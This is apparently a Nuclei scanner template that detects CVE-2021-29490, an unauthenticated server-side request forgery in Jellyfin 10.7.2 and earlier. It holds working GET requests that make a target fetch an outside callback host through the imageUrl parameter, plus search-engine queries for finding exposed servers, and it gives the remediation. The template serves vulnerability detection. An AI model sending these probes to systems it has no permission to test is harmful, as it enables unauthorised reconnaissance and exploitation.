漏洞描述
Jellyfin is a free software media system. Versions 10.7.2 and below are vulnerable to unauthenticated Server-Side Request Forgery (SSRF) attacks via the imageUrl parameter.
id: CVE-2021-29490
info:
name: Jellyfin 10.7.2 - Server Side Request Forgery
author: alph4byt3
severity: medium
description: |
Jellyfin is a free software media system. Versions 10.7.2 and below are vulnerable to unauthenticated Server-Side Request Forgery (SSRF) attacks via the imageUrl parameter.
impact: |
This vulnerability can lead to unauthorized access to internal resources, potential data leakage, and further exploitation of the target system.
remediation: Upgrade to version 10.7.3 or newer. As a workaround, disable external access to the API endpoints "/Items/*/RemoteImages/Download", "/Items/RemoteSearch/Image" and "/Images/Remote".
reference:
- https://github.com/jellyfin/jellyfin/security/advisories/GHSA-rgjw-4fwc-9v96
- https://nvd.nist.gov/vuln/detail/CVE-2021-29490
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/HimmelAward/Goby_POC
- https://github.com/Threekiii/Awesome-POC
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
cvss-score: 5.8
cve-id: CVE-2021-29490
cwe-id: CWE-918
epss-score: 0.9123
epss-percentile: 0.99639
cpe: cpe:2.3:a:jellyfin:jellyfin:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: jellyfin
product: jellyfin
shodan-query: http.title:"Jellyfin"
fofa-query: body="jellyfin"
google-query: intitle:"jellyfin"
tags: cve,cve2021,ssrf,jellyfin,oast
http:
- method: GET
path:
- "{{BaseURL}}/Images/Remote?imageUrl=https://oast.me/"
- "{{BaseURL}}/Items/RemoteSearch/Image?ImageUrl=https://oast.me/&ProviderName=TheMovieDB"
stop-at-first-match: true
matchers:
- type: word
part: body
words:
- "<h1> Interactsh Server </h1>"
# digest: 4b0a00483046022100def82ae1cdc88ab644c6936362954fef92e85ed712d07300bbbd4e1f93ebe0f1022100a5c72487eb037705a5493d78cf25ed2e83bfcd38b66bc88bd3ce374c1fc93c39:922c64590222798bb761d5b6d8e72950